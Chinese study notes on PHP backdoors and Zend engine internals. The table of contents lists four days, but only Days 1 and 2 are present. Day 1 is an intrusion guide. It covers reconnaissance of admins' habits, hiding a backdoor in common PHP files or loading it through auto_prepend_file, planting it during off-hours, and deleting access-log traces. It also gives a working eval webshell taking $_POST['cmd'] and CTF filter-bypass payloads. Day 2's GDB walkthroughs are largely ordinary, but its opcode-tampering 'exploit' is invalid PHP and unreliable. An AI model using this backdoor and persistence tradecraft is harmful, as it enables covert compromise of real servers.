四天学习笔记

目录

[第 1 天:PHP 底层后门调试 + 社工思路融合](#第 1 天:PHP 底层后门调试 + 社工思路融合)

社会工程学渗透(定位后门植入入口)

前期信息收集(摸清目标环境全貌)

筛选潜在植入入口(优先选择隐蔽性高、不易被清理的入口)

验证入口可用性(避免暴露痕迹)

后期维护(延长后门存活时间)

[后门调试方法(断点跟踪 + 日志分析,具体步骤)](#后门调试方法(断点跟踪 + 日志分析,具体步骤))

[方案 1: 断点跟踪(精准定位执行节点,适合排查底层逻辑问题)](#方案 1: 断点跟踪(精准定位执行节点,适合排查底层逻辑问题))

[方案 2: 日志分析(全面排查执行问题,适合生产环境 / 无调试工具场景)](#方案 2: 日志分析(全面排查执行问题,适合生产环境 / 无调试工具场景))

[CTF 关联考点(后门隐藏与检测绕过,代码审计题解题步骤)](#CTF 关联考点(后门隐藏与检测绕过,代码审计题解题步骤))

总结「实现→隐藏→调试→解题」:

[第 2 天:C 底层调试 + Zend 虚拟机执行流程](#第 2 天:C 底层调试 + Zend 虚拟机执行流程)

[C 语言层调试:PHP 解释器底层运行机制、内存管理原理;](#C 语言层调试:PHP 解释器底层运行机制、内存管理原理;)

[(一) PHP 解释器底层运行机制调试(具体步骤)](#(一) PHP 解释器底层运行机制调试(具体步骤))

[(二) PHP 内存管理原理调试(具体步骤)](#(二) PHP 内存管理原理调试(具体步骤))

[Zend 虚拟机核心:opcode 生成与执行流程、指令解析逻辑;](#Zend 虚拟机核心:opcode 生成与执行流程、指令解析逻辑;)

[前置准备:安装 opcode 查看工具(vld 扩展)](#前置准备:安装 opcode 查看工具(vld 扩展))

[(一) opcode 生成流程](#(一) opcode 生成流程)

[步骤 1: 可视化验证(通过 vld 扩展查看 opcode 生成结果)](#步骤 1: 可视化验证(通过 vld 扩展查看 opcode 生成结果))

[步骤 2: GDB 底层调试(跟踪 opcode 生成的 C 层流程)](#步骤 2: GDB 底层调试(跟踪 opcode 生成的 C 层流程))

[(二) opcode 执行流程与指令解析逻辑](#(二) opcode 执行流程与指令解析逻辑)

[步骤 1: 可视化验证(通过 vld 扩展查看 opcode 执行顺序)](#步骤 1: 可视化验证(通过 vld 扩展查看 opcode 执行顺序))

[步骤 2: GDB 底层调试(跟踪 opcode 执行与指令解析)](#步骤 2: GDB 底层调试(跟踪 opcode 执行与指令解析))

[底层漏洞分析:PHP 内存分配漏洞、执行流程异常漏洞的成因;](#底层漏洞分析:PHP 内存分配漏洞、执行流程异常漏洞的成因;)

[(一) PHP 执行流程异常漏洞](#(一) PHP 执行流程异常漏洞)

底层漏洞分析总结

总结

[第 3 天:Zend 编译函数应用 + PHP 伪协议系统讲解核心知识点](#第 3 天:Zend 编译函数应用 + PHP 伪协议系统讲解核心知识点)

[Zend 编译函数:编译层绕过安全限制的原理](#Zend 编译函数:编译层绕过安全限制的原理)

前置说明

[绕过年径 :编译优化利用](#绕过年径 :编译优化利用)

核心操作步骤(以「常量折叠优化」为例)

[(三) 编译层绕过核心总结](#(三) 编译层绕过核心总结)

[PHP 伪协议实战:php://filter(文件过滤读取)、php://input(POST 数据接收)、zip://(压缩包解析)等协议的功能、适用场景及语法格式;](#PHP 伪协议实战:php://filter(文件过滤读取)、php://input(POST 数据接收)、zip://(压缩包解析)等协议的功能、适用场景及语法格式;)

前置说明

[(一) 协议 1:php://filter(文件过滤读取)](#(一) 协议 1:php://filter(文件过滤读取))

核心属性

[核心操作过程(以 CTF 读取flag.php为例)](#核心操作过程(以 CTF 读取flag.php为例))

[(二) 协议 2:php://input(POST 数据接收)](#(二) 协议 2:php://input(POST 数据接收))

核心属性

[核心操作过程(以文件包含 getshell 为例)](#核心操作过程(以文件包含 getshell 为例))

[(三) 协议 3:zip://(压缩包解析)](#(三) 协议 3:zip://(压缩包解析))

核心属性

核心操作过程(以绕过php://filter禁止,读取flag.php为例)

[(四) 其他核心协议补充(快速操作指南)](#(四) 其他核心协议补充(快速操作指南))

[第 4 天:伪协议相关漏洞 + 文件包含与日志注入](#第 4 天:伪协议相关漏洞 + 文件包含与日志注入)

伪协议漏洞利用:伪协议与文件包含、代码注入的结合场景

(一) php://filter + 文件包含 → 读取敏感文件 php://filter + 文件包含 → 读取敏感文件)

这是最常用的场景,用于读取不可直接访问的敏感文件(如config.php、flag.php、/etc/passwd),核心操作步骤如下:

[(二) php://input + 文件包含 → 远程代码执行](#(二) php://input + 文件包含 → 远程代码执行)

[日志文件注入:Apache/Nginx 日志路径定位、恶意代码写入方法、文件包含触发执行流程](#日志文件注入:Apache/Nginx 日志路径定位、恶意代码写入方法、文件包含触发执行流程)

[(一) 步骤 1:定位 Apache/Nginx 日志文件路径](#(一) 步骤 1:定位 Apache/Nginx 日志文件路径)

[1. Apache 默认日志路径](#1. Apache 默认日志路径)

[2. Nginx 默认日志路径](#2. Nginx 默认日志路径)

[3. Windows 日志默认路径](#3. Windows 日志默认路径)

[4. 路径探测方法(利用文件包含漏洞)](#4. 路径探测方法(利用文件包含漏洞))

[(二) 步骤 2:恶意代码写入日志文件(核心操作,Burp Suite)](#(二) 步骤 2:恶意代码写入日志文件(核心操作,Burp Suite))

[(三) 步骤 3:文件包含触发日志中的代码执行(核心操作)](#(三) 步骤 3:文件包含触发日志中的代码执行(核心操作))

(四)注意事项与优化(提升利用成功率)

[五、核心漏洞与 CTF 实战考点整合](#五、核心漏洞与 CTF 实战考点整合)

(一)关键文件与漏洞点

[(二)高危漏洞与 CTF 解题技巧](#(二)高危漏洞与 CTF 解题技巧)

[(三)CTF 常用工具与函数](#(三)CTF 常用工具与函数)

[(四)CTF 自动化脚本](#(四)CTF 自动化脚本)

[六、安全防护措施(CTF 防护绕过思路)](#六、安全防护措施(CTF 防护绕过思路))

七、总结


第 1 天:PHP 底层后门调试 + 社工思路融合

社会工程学渗透(定位后门植入入口)

核心逻辑:结合目标环境的人文特征与系统规律,找到隐蔽、高可用的后门植入入口,避免盲目尝试,步骤如下:

前期信息收集(摸清目标环境全貌)

  • 收集系统配置规律① 探测目标服务器操作系统(Linux/Windows)、PHP 版本、Web 服务器(Apache/Nginx/IIS);② 查找默认配置路径(如 Apache 默认网站根目录/var/www/html、Nginx 日志路径/var/log/nginx、Windows PHP 配置文件php.ini路径C:\php\php.ini);③ 检测目标安全防护措施(是否有 WAF、杀毒软件、文件上传限制)。
  • 收集管理员操作习惯① 分析目标网站业务逻辑(如是否有后台管理、文件上传、数据备份、用户反馈等功能);② 查找管理员操作痕迹(如后台登录时间、上传文件命名规则、备份文件后缀(.bak.zip)、留言板 / 评论区的管理员回复习惯);③ 收集公开信息(如目标网站开发者的 GitHub 仓库、技术博客、行业交流帖子,了解其编码习惯与安全意识)。

筛选潜在植入入口(优先选择隐蔽性高、不易被清理的入口)

  • 合法文件篡改(优先选择)① 目标:找到网站中不常被修改的合法 PHP 文件(如公共函数文件common.php、底部导航文件footer.php);② 依据:管理员通常不会频繁修改公共函数文件,后门植入后存活时间长;③ 操作:在合法文件的末尾或无关函数内部,插入隐蔽的后门代码(如加入条件判断,仅当特定 Cookie 存在时才执行后门)。

  • 备份文件 / 临时文件利用① 目标:找到管理员的备份文件(如index.php.bakdatabase_20240118.zip)或临时文件(如php_sess_xxxtmp_xxx.php);② 依据:管理员常忽略备份文件的安全,且备份文件通常具有较高权限;③ 操作:若备份文件可访问,直接篡改备份文件植入后门;若不可访问,通过文件上传漏洞替换备份文件。

  • 配置文件注入① 目标:找到 PHP 配置文件(php.ini)、Web 服务器配置文件(httpd.confnginx.conf);② 依据:配置文件生效后,后门具有全局执行权限,隐蔽性极强;③ 操作:通过auto_prepend_file配置项(PHP 启动时自动包含指定文件),指定后门文件路径,实现全局后门植入。

验证入口可用性(避免暴露痕迹)

  • 先通过非破坏性操作验证入口是否可用(如尝试读取配置文件,不直接写入后门);
  • 选择管理员非工作时间(如深夜、节假日)进行植入操作,减少被发现的概率;
  • 植入后测试后门可用性,同时清理操作痕迹(如删除日志中的访问记录、恢复操作过程中修改的非目标文件)。

后期维护(延长后门存活时间)

  • 依据管理员的备份周期,定期更新后门(避免被备份文件覆盖);
  • 采用多重后门策略(植入 2-3 个不同入口、不同格式的后门),互为备份。

后门调试方法(断点跟踪 + 日志分析,具体步骤)

核心逻辑:通过调试工具与日志记录,还原后门底层执行流程,排查后门无法执行、被检测的问题,步骤如下:

方案 1: 断点跟踪(精准定位执行节点,适合排查底层逻辑问题)

工具准备:PHP 调试工具 Xdebug(需配置在目标服务器或本地测试环境)、IDE(PhpStorm、VS Code)

  1. 前期环境配置
    • php.ini中启用 Xdebug 扩展,配置核心参数:

      php 复制代码
      [Xdebug]
      zend_extension = xdebug.so  # Windows下为xdebug.dll
      xdebug.mode = debug  # 开启调试模式
      xdebug.client_host = 127.0.0.1  # 调试客户端IP(IDE所在机器)
      xdebug.client_port = 9003  # 调试端口(默认9003)
      xdebug.start_with_request = yes  # 随请求自动启动调试
    • 重启 Web 服务器(Apache/Nginx),使 Xdebug 配置生效;

    • 在 IDE 中配置 Xdebug(关联 PHP 版本、设置调试端口 9003),建立与服务器的调试连接。

  2. 设置断点(跟踪后门执行流程)
    • 将后门文件(如backdoor.php)在 IDE 中打开,在关键执行节点设置断点:① 恶意函数定义处(如$func = base64_decode('ZXZhbA=='););② 执行函数调用处(如$func($_POST['cmd']););③ 超全局变量获取处(如$_POST['cmd'])。
    • 通过工具发送包含cmd=phpinfo();的 POST 请求,触发后门执行,此时 IDE 会自动捕获请求并暂停在第一个断点处。
  3. 分步跟踪执行流程(分析底层逻辑)
    • 使用 IDE 的「单步执行」(F10)、「步入函数」(F11)功能,逐步执行代码;
    • 观察每一步的变量值变化(如$func的解码结果、$_POST['cmd']的取值),验证是否符合预期;
    • 跟踪函数调用栈(Call Stack),查看后门执行时的底层函数调用(如eval()对应的 Zend 虚拟机函数),定位执行异常(如函数被禁用、参数为空)的问题;
    • 若后门被 WAF 拦截,可在断点中观察请求参数的传递过程,排查是否在解码前被 WAF 检测并拦截。
  4. 调试结果整理记录断点跟踪中的异常节点、变量取值、函数调用情况,针对性优化后门代码(如调整编码方式、修改函数调用方式)。

方案 2: 日志分析(全面排查执行问题,适合生产环境 / 无调试工具场景)

工具准备:PHP 内置日志功能、Web 服务器日志(Apache/Nginx)

  1. 启用 PHP 错误日志(记录后门执行报错)

    • php.ini中配置日志参数,启用错误日志记录:

      php 复制代码
      [PHP]
      log_errors = On  # 开启错误日志记录
      error_log = /var/log/php/error.log  # 日志文件保存路径(Linux)
      error_reporting = E_ALL  # 记录所有级别错误(包括警告、通知)
      display_errors = Off  # 关闭页面错误输出,避免暴露信息
    • 重启 Web 服务器,使日志配置生效;

    • 确保日志文件具有可写入权限(chmod 755 /var/log/php/error.log)。

  2. 增强后门日志记录(主动记录执行流程)

    php 复制代码
    <?php
    $func = base64_decode('ZXZhbA==');
    // 记录后门执行时间、客户端IP、传递的指令
    error_log("[Backdoor Log] Time: " . date('Y-m-d H:i:s') . " IP: " . $_SERVER['REMOTE_ADDR'] . " Cmd: " . $_POST['cmd']);
    try {
        $func($_POST['cmd']);
    } catch (Exception $e) {
        // 记录执行异常信息
        error_log("[Backdoor Error] " . $e->getMessage());
    }
    ?>
  3. 分析日志文件(排查问题)

    • 触发后门执行后,查看 PHP 错误日志(tail -f /var/log/php/error.log,实时监控日志变化);
    • 提取后门日志记录,验证:① 客户端 IP、执行指令是否正常记录(确认后门是否接收到请求);② 是否有错误信息(如eval() has been disabled for security reasons,说明函数被禁用;Undefined index: cmd,说明参数传递失败)。
    • 分析 Web 服务器日志(如 Apache 的access.log),查看请求是否被正常接收、是否有 WAF 拦截的状态码(如 403 Forbidden)。
  4. 问题定位与优化根据日志中的错误信息,针对性优化后门(如函数被禁用则更换执行函数、参数传递失败则调整参数传递方式)。

CTF 关联考点(后门隐藏与检测绕过,代码审计题解题步骤)

CTF 代码审计题中,后门相关考点核心是「找到隐藏的后门→绕过检测机制→利用后门获取 flag」,具体解题步骤如下:

  1. 审题与初步代码审计(快速定位可疑点)

    • 步骤 1:阅读题目要求(明确目标:获取 flag、绕过何种检测);
    • 步骤 2:快速浏览所有提供的源码文件,重点关注:① 敏感函数(eval()assert()call_user_func()等),即使是变形或编码后的形式;② 超全局变量($_POST$_GET$_COOKIE)的使用场景,尤其是未经过滤的参数传递;③ 配置项(disable_functionsallow_url_include),明确限制条件;④ 不寻常的代码逻辑(如多余的字符串拼接、无意义的编码 / 解码操作、条件判断中的隐蔽触发条件)。
  2. 深度分析后门隐藏逻辑(还原后门全貌)

    • 步骤 1:针对可疑代码,还原变形 / 编码后的内容(如手动解码 Base64、拆分字符串拼接),确认是否为后门;

    • 步骤 2:梳理后门的触发条件(如是否需要特定 Cookie、特定 IP、特定参数值)

      php 复制代码
      // CTF常见隐藏触发条件:仅当Cookie中admin=1时,后门才执行
      if ($_COOKIE['admin'] === '1') {
          $func = 'e' . 'val';
          $func($_POST['cmd']);
      }
    • 步骤 3:确认后门的执行限制(如是否仅能执行特定命令、是否有输出过滤)。

  3. 构造绕过 payload(适配题目检测机制)

    • 步骤 1:根据题目中的检测机制,选择对应的绕过方法(如字符编码、函数变形);

    • 步骤 2:针对 CTF 高频考点,构造精准 payload:① 考点:关键字黑名单(禁止evalsystem)→ 采用函数变形 + 编码,payload 示例(通过create_function()绕过):

      php 复制代码
      // 传递的cmd参数:create_function('', 'phpinfo();')();
      cmd=create_function('','phpinfo();')();

      ② 考点:输出过滤(禁止显示flag关键字)→ 采用 Base64 编码输出:

      php 复制代码
      // 传递的cmd参数:echo base64_encode(file_get_contents('flag.php'));
      cmd=echo base64_encode(file_get_contents('flag.php'));

      ③ 考点:函数禁用(禁用evalsystem)→ 采用未被禁用的替代函数,payload 示例(popen()执行命令):

      php 复制代码
      // 传递的cmd参数:popen('cat flag.php', 'r');
      cmd=popen('cat flag.php','r');
  4. 利用后门获取 flag(验证解题结果)

    • 通过题目提供的交互界面或 Burp Suite,发送构造好的 payload,触发后门执行;
    • 提取执行结果(如 Base64 编码内容、页面隐藏内容、日志输出),解码或整理后获取 flag;
    • 若一次尝试失败,根据返回结果调整 payload(如更换绕过方法、修改触发条件),直至成功获取 flag。
  5. 总结考点规律

    • 后门常隐藏在公共函数文件、配置文件中,需重点审计;
    • 检测机制多为关键字匹配、函数禁用,绕过核心是「变形 + 编码 + 替代」;
    • 触发条件常为隐蔽的参数、Cookie、IP 限制,需仔细分析代码逻辑。

总结「实现→隐藏→调试→解题」:

  1. 先掌握 PHP 后门的基础实现与绕过技巧,完成技术落地;
  2. 再通过社工思路找到最优植入入口,提升后门存活概率;
  3. 然后通过断点跟踪与日志分析,排查问题、优化后门;
  4. 最后适配 CTF 考点,完成后门的识别、绕过与利用,获取目标结果。

php 底层原理具体调试可以参考这篇文章:

https://blog.csdn.net/2303_79252611/article/details/157063936?fromshare=blogdetail&sharetype=blogdetail&sharerId=157063936&sharerefer=PC&sharesource=2303_79252611&sharefrom=from_link

第 2 天:C 底层调试 + Zend 虚拟机执行流程

C 语言层调试:PHP 解释器底层运行机制、内存管理原理;

(一) PHP 解释器底层运行机制调试(具体步骤)

核心目标:通过 GDB 调试 PHP CLI 程序,还原「PHP 脚本→C 语言解释器→执行结果」的底层流程

  1. 准备测试 PHP 脚本 创建简单测试文件test.php,用于跟踪执行流程:

    php 复制代码
    <?php
    // 简单的赋值与输出语句,便于跟踪底层调用
    $a = 10;
    $b = 20;
    $c = $a + $b;
    echo "Result: " . $c . "\n";
    ?>
  2. 启动 GDB 挂载 PHP 解释器

    bash 复制代码
    # 启动GDB,加载PHP CLI可执行文件
    gdb /usr/local/php74-debug/bin/php
  3. 设置核心断点(跟踪解释器关键流程) PHP 解释器底层核心入口是main()函数(位于sapi/cli/php_cli.c),后续关键流程函数如下,分步设置断点:

    • 步骤 1:断点 1 - 解释器入口main函数

      php 复制代码
      # GDB命令:设置断点在main函数
      break main
    • 步骤 2:运行程序,加载测试脚本

      php 复制代码
      # GDB命令:运行PHP解释器,传入测试脚本参数
      run test.php
    • 步骤 3:断点 2 - 脚本解析入口zend_parse_argv(解析命令行参数,识别待执行的 PHP 脚本)

      php 复制代码
      break zend_parse_argv
      # 继续执行到该断点(GDB命令:c = continue)
      c
    • 步骤 4:断点 3 - 脚本编译入口zend_compile_file(将 PHP 源码编译为 opcode)

      php 复制代码
      break zend_compile_file
      c
    • 步骤 5:断点 4 - 脚本执行入口zend_execute_scripts(执行编译后的 opcode 指令集)

      php 复制代码
      break zend_execute_scripts
      c
  4. 分步跟踪,分析解释器底层流程

    • 步骤 1:使用step(简写s,步入函数内部)、next(简写n,单步执行,不步入子函数)跟踪main函数流程,观察 PHP 解释器的初始化(如环境变量加载、内存池初始化);

    • 步骤 2:在zend_compile_file断点处,使用print(简写p)查看参数,获取待编译的文件路径:

      php 复制代码
      # 打印文件路径参数(根据函数参数列表,调整变量名)
      p filename
    • 步骤 3:在zend_execute_scripts断点处,跟踪 opcode 执行的底层调用,观察解释器如何循环执行 opcode 指令,直至脚本结束;

    • 步骤 4:调试结束,查看执行结果,退出 GDB

      php 复制代码
      # 继续执行至程序结束
      c
      # 退出GDB
      quit
  5. 核心结论(PHP 解释器底层运行流程) 经过调试可还原完整流程:初始化环境(main)→ 解析命令行参数(zend_parse_argv)→ 加载PHP脚本 → 编译源码为opcode(zend_compile_file)→ 执行opcode指令集(zend_execute_scripts)→ 释放资源 → 程序退出

(二) PHP 内存管理原理调试(具体步骤)

核心目标:跟踪 PHP 底层内存管理函数(emalloc/efree等),理解「内存池→内存分配→内存释放」的核心逻辑

  1. 准备带内存操作的 PHP 测试脚本 创建mem_test.php,包含大量变量赋值与数组操作,触发明显的内存分配 / 释放:

    php 复制代码
    <?php
    // 触发内存分配:创建大数组,赋值大量字符串
    $mem_array = array();
    for ($i = 0; $i < 1000; $i++) {
        $mem_array[$i] = "Test Memory Allocation: " . $i;
    }
    // 触发内存释放:销毁数组
    unset($mem_array);
    echo "Memory Operation Completed\n";
    ?>
  2. 启动 GDB,设置内存管理函数断点 PHP 底层内存管理不直接使用 C 标准库malloc/free,而是封装了专属函数(emalloc/efree/ecalloc等),核心断点设置如下:

    bash 复制代码
    # 启动GDB,加载PHP解释器
    gdb /usr/local/php74-debug/bin/php
    php 复制代码
    # 断点1:内存分配核心函数 emalloc(位于 Zend/zend_alloc.c)
    break emalloc
    # 断点2:内存释放核心函数 efree(位于 Zend/zend_alloc.c)
    break efree
    # 断点3:内存池初始化函数 zend_alloc_init(初始化PHP内存池)
    break zend_alloc_init
  3. 运行调试,跟踪内存操作流程

    • 运行测试脚本,触发断点

      bash 复制代码
      run mem_test.php
    • 跟踪内存池初始化(zend_alloc_init断点)使用s步入函数内部,查看内存池的初始配置(如内存块大小、阈值、缓存策略),打印核心变量:

      bash 复制代码
      # 打印内存池初始大小
      p heap->size

      核心结论:PHP 启动时会初始化一个全局内存池,后续所有内存操作均基于该内存池,避免频繁调用malloc/free带来的性能损耗。

    • 跟踪内存分配(emalloc断点)当执行到 PHP 数组赋值时,会触发emalloc断点,此时:

      1. 使用p size查看本次分配的内存大小;
      2. 使用bt(backtrace)查看函数调用栈,还原「PHP 数组赋值→Zend 引擎→emalloc→malloc」的调用链路;
      3. 使用c继续执行,观察循环赋值过程中emalloc的多次触发,理解「批量内存分配」的逻辑;核心结论:emalloc会优先从内存池中获取空闲内存块,若内存池不足,再调用 C 标准库malloc向系统申请内存,并更新内存池状态。
    • 跟踪内存释放(efree断点)当执行unset($mem_array)时,会触发efree断点,此时:

      1. 查看待释放的内存地址与大小;
      2. 跟踪函数内部逻辑,观察efree并非直接将内存归还系统,而是将内存块标记为「空闲」,存入内存池缓存,供后续emalloc复用;
      3. 核心结论:PHP 的内存释放是「延迟归还」,只有当内存池达到阈值或 PHP 程序退出时,才会调用free将内存归还系统。
  4. 进阶:查看内存泄露与内存碎片

    • mem_test.php中注释unset($mem_array),不手动释放内存;
    • 重新调试,观察程序结束时efree是否被触发;
    • 使用 GDB 的watch命令监控内存池大小变化,查看未释放的内存块,理解「内存泄露」的成因;
    • 跟踪多次分配 / 释放后的内存池状态,观察空闲内存块的分布,理解「内存碎片」的形成。

Zend 虚拟机核心:opcode 生成与执行流程、指令解析逻辑;

前置准备:安装 opcode 查看工具(vld 扩展)

为了直观查看 opcode,先安装 PHP 的 vld 扩展(可视化 Zend 引擎中间代码):

  1. 下载并安装 vld 扩展

    bash 复制代码
    # 下载vld扩展源码(对应PHP 7.4版本)
    wget https://pecl.php.net/get/vld-0.17.2.tgz
    tar -zxvf vld-0.17.2.tgz
    cd vld-0.17.2
    # 用调试版PHP的phpize生成配置文件
    /usr/local/php74-debug/bin/phpize
    # 配置
    ./configure --with-php-config=/usr/local/php74-debug/bin/php-config
    # 编译安装
    make && sudo make install
  2. 启用 vld 扩展 编辑 PHP 配置文件/usr/local/php74-debug/etc/php.ini,添加如下内容:

    php 复制代码
    [vld]
    extension=vld.so
    vld.active=1  # 默认启用vld
    vld.verbosity=3  # 显示详细opcode信息
  3. 验证 vld 扩展

    bash 复制代码
    # 运行测试脚本,查看opcode输出
    /usr/local/php74-debug/bin/php test.php

(一) opcode 生成流程

核心目标:还原「PHP 源码→词法分析→语法分析→opcode 指令集」的生成过程,分「可视化验证」和「GDB 底层调试」两步实现

步骤 1: 可视化验证(通过 vld 扩展查看 opcode 生成结果)
  1. 准备简单 PHP 脚本opcode_gen.php

    php 复制代码
    <?php
    $x = 5;
    $y = 10;
    $z = $x + $y;
    echo $z;
    ?>
  2. 运行脚本,查看 opcode 生成结果

    bash 复制代码
    /usr/local/php74-debug/bin/php opcode_gen.php
  3. 分析 opcode 生成结果,梳理生成流程 输出结果中包含核心 opcode 指令(如ZEND_ASSIGNZEND_ADDZEND_ECHO),对应生成流程的三个核心阶段:

    • 词法分析(Scanner)Zend 引擎的zend_scanner.c将 PHP 源码拆分为「标记(Token)」,如T_VARIABLE(变量$x)、T_LNUMBER(数字5)、T_ASSIGN(赋值符号=)、T_PLUS(加号+);验证方式:通过php -l(语法检查)查看词法错误,若脚本有语法错误,会在该阶段报错。

    • 语法分析(Parser)Zend 引擎的zend_parser.c将 Token 按 PHP 语法规则组合为「抽象语法树(AST)」,验证 Token 的排列是否符合 PHP 语法规范,如「变量→赋值→数字」是合法语法,「赋值→变量→数字」是非法语法;验证方式:若脚本存在语法错误(如$x = 5 +;),会在该阶段报错,无法生成 AST。

    • 编译生成 opcode(Compiler)Zend 引擎的zend_compile.c将 AST 编译为「opcode 指令集」,每个 opcode 对应 Zend 虚拟机的一个执行操作,核心映射关系:

      PHP 源码操作 对应的 opcode 指令 功能说明
      $x = 5 ZEND_ASSIGN 变量赋值
      $z = $x + $y ZEND_ADD + ZEND_ASSIGN 加法运算 + 结果赋值
      echo $z ZEND_ECHO 输出变量
      核心结论:opcode 是 Zend 虚拟机的「中间执行代码」,是连接 PHP 源码与底层 C 执行的桥梁。
步骤 2: GDB 底层调试(跟踪 opcode 生成的 C 层流程)
  1. 启动 GDB,设置编译相关断点

    bash 复制代码
    gdb /usr/local/php74-debug/bin/php
    bash 复制代码
    # 断点1:词法分析入口 zend_scan_file
    break zend_scan_file
    # 断点2:语法分析入口 zend_parse_file
    break zend_parse_file
    # 断点3:opcode编译入口 zend_compile_file
    break zend_compile_file
  2. 运行脚本,跟踪编译流程

    php 复制代码
    run opcode_gen.php
  3. 分步跟踪,验证 opcode 生成的底层逻辑

    • 步骤 1:在zend_scan_file断点处,跟踪词法分析,查看 Token 的生成与存储;
    • 步骤 2:在zend_parse_file断点处,跟踪 AST 的构建,使用p打印 AST 节点信息;
    • 步骤 3:在zend_compile_file断点处,跟踪 AST 到 opcode 的转换,查看 opcode 数组的生成过程,打印 opcode 指令的内存存储状态;
    • 步骤 4:使用c继续执行,直至编译完成,查看生成的 opcode 指令集是否与 vld 扩展的输出一致。

(二) opcode 执行流程与指令解析逻辑

核心目标:还原「opcode 指令集→Zend 虚拟机执行→输出结果」的流程,理解指令解析与循环执行逻辑

步骤 1: 可视化验证(通过 vld 扩展查看 opcode 执行顺序)
  1. 修改opcode_gen.php,添加 vld 配置(指定仅显示 opcode,不执行脚本)

    php 复制代码
    <?php
    // 启用vld,不执行实际脚本,仅显示opcode
    ini_set('vld.active', 1);
    ini_set('vld.execute', 0);
    ini_set('vld.verbosity', 3);
    
    $x = 5;
    $y = 10;
    $z = $x + $y;
    echo $z;
    ?>
  2. 运行脚本,分析 opcode 执行顺序

    php 复制代码
    /usr/local/php74-debug/bin/php opcode_gen.php
  3. 梳理 opcode 执行核心流程 输出结果中会显示 opcode 的「执行顺序(line)」和「指令指针(IP)」,对应 Zend 虚拟机的执行逻辑:

    • 初始化执行环境Zend 虚拟机创建「执行器全局结构(zend_executor_globals)」和「执行帧(zend_execute_data)」,加载 opcode 指令集,初始化指令指针(IP)指向第一条 opcode 指令。
    • 循环执行 opcode 指令(核心)Zend 虚拟机通过「指令指针循环」逐个执行 opcode 指令,流程如下:
      1. 指令指针(IP)指向当前待执行的 opcode;
      2. 解析 opcode 指令对应的执行函数(如ZEND_ASSIGN对应ZEND_ASSIGN_SPEC_CV_CV_HANDLER);
      3. 执行对应函数,完成具体操作(如变量赋值、加法运算);
      4. 更新指令指针(IP),指向下一条 opcode;
      5. 重复步骤 1-4,直至执行到ZEND_RETURN(脚本结束指令)。
    • 释放执行环境脚本执行完成后,Zend 虚拟机释放执行帧、执行器全局结构,回收相关内存。
步骤 2: GDB 底层调试(跟踪 opcode 执行与指令解析)
  1. 启动 GDB,设置执行相关断点

    bash 复制代码
    gdb /usr/local/php74-debug/bin/php
    bash 复制代码
    # 断点1:opcode执行入口 zend_execute
    break zend_execute
    # 断点2:指令循环核心函数 zend_execute_oparray
    break zend_execute_oparray
    # 断点3:具体opcode指令(如ZEND_ASSIGN)执行函数
    break ZEND_ASSIGN_SPEC_CV_CV_HANDLER
  2. 运行脚本,跟踪执行流程

    bash 复制代码
    run opcode_gen.php
  3. 分步分析,理解指令解析逻辑

    • zend_execute_oparray断点处,跟踪指令指针(IP)的变化,使用p打印当前执行的 opcode 指令:

      bash 复制代码
      # 打印当前opcode指令
      p *opline
    • ZEND_ASSIGN_SPEC_CV_CV_HANDLER断点处,跟踪变量赋值的底层实现,查看指令如何解析变量地址、完成赋值操作;

    • 使用c继续执行,观察指令指针的更新过程,验证「循环执行 opcode」的核心逻辑;

    • 调试至脚本结束,查看 opcode 执行完成后的资源释放流程。

  4. **核心结论(指令解析逻辑)**Zend 虚拟机对 opcode 的解析是「一一映射」:每个 opcode 指令都对应一个预定义的 C 语言处理函数(称为「opcode 处理器」),指令解析的核心是「根据 opcode 类型找到对应的处理器,传递参数并执行」,最终将 PHP 的高层操作转化为底层 C 语言执行。

底层漏洞分析:PHP 内存分配漏洞、执行流程异常漏洞的成因;

(一) PHP 执行流程异常漏洞

核心成因:Zend 虚拟机执行 opcode 时,未校验 opcode 指令的合法性,导致恶意篡改的 opcode 被执行,引发执行流程异常

  1. 准备漏洞复现 PHP 脚本(构造 opcode 篡改场景) 创建exec_vuln.php,手动篡改 opcode 指令,触发执行流程异常:

    php 复制代码
    <?php
    // 正常opcode:赋值$a=1,输出$a
    $a = 1;
    echo "Normal Result: " . $a . "\n";
    
    // 恶意篡改:通过内存操作,将ZEND_ASSIGN改为ZEND_EVAL_CODE,触发执行流程异常
    $oparray = zend_compile_string('$a=1;', 'test');
    // 篡改第一条opcode指令类型
    $oparray->opcodes[0].opcode = ZEND_EVAL_CODE;
    // 执行篡改后的opcode
    zend_execute_oparray($oparray, NULL);
    ?>
  2. GDB 调试,定位执行流程异常漏洞点

    • 启动 GDB,设置zend_execute_oparray断点(opcode 执行核心函数)

      bash 复制代码
      gdb /usr/local/php74-debug/bin/php
      bash 复制代码
      break zend_execute_oparray
      run exec_vuln.php
    • 跟踪 opcode 合法性校验逻辑

      1. 使用s步入zend_execute_oparray函数,查找是否存在 opcode 指令类型校验代码;

      2. 核心漏洞点定位:Zend 虚拟机在执行 opcode 前,未校验opcode字段的合法性(仅校验 opcode 是否在指令集中,未校验当前执行环境是否允许该指令执行);

      3. 打印篡改后的 opcode 指令类型,验证恶意指令是否被正常加载:

        复制代码
        p $oparray->opcodes[0].opcode
    • 跟踪篡改后 opcode 的执行流程

      1. 继续执行,观察 Zend 虚拟机是否会解析并执行ZEND_EVAL_CODE指令;
      2. 查看执行结果,观察是否出现执行流程异常(如输出错误、程序崩溃、执行未授权代码);
      3. 使用bt查看函数调用栈,梳理「恶意 opcode→未校验→执行→流程异常」的传播链。
  3. 梳理执行流程异常漏洞的核心成因与传播链

    • 直接成因:Zend 虚拟机执行 opcode 前,未对指令的合法性、权限、完整性进行有效校验;
    • 间接成因:opcode 指令集的可修改性(未对编译后的 opcode 进行加密 / 签名保护);
    • 危害传播链:恶意篡改opcode→Zend虚拟机加载未校验→执行非法opcode→破坏正常执行流程→未授权代码执行/数据泄露/程序崩溃

底层漏洞分析总结

  1. 内存分配漏洞的核心:「校验缺失」(长度、类型、边界),导致内存操作超出预期范围;
  2. 执行流程异常漏洞的核心:「信任过度」(信任 opcode 的合法性、信任输入数据的安全性),导致恶意指令被执行;
  3. 所有底层漏洞的根源:Zend 引擎 / PHP 解释器的 C 层代码存在逻辑缺陷,且未建立完善的安全校验机制。

总结

以上三部分的核心逻辑可概括为「环境搭建→可视化验证→GDB 底层调试→漏洞定位与成因梳理」:

  1. 先搭建带调试信息的 PHP 源码环境,为后续实操奠定基础;
  2. 再通过 vld 扩展可视化验证 opcode 的生成与执行,快速理解高层流程;
  3. 然后通过 GDB 跟踪 C 层函数,还原底层运行机制、内存管理、opcode 执行的核心逻辑;
  4. 最后通过漏洞复现,定位漏洞点,梳理成因与危害传播链,完成底层漏洞的完整分析。

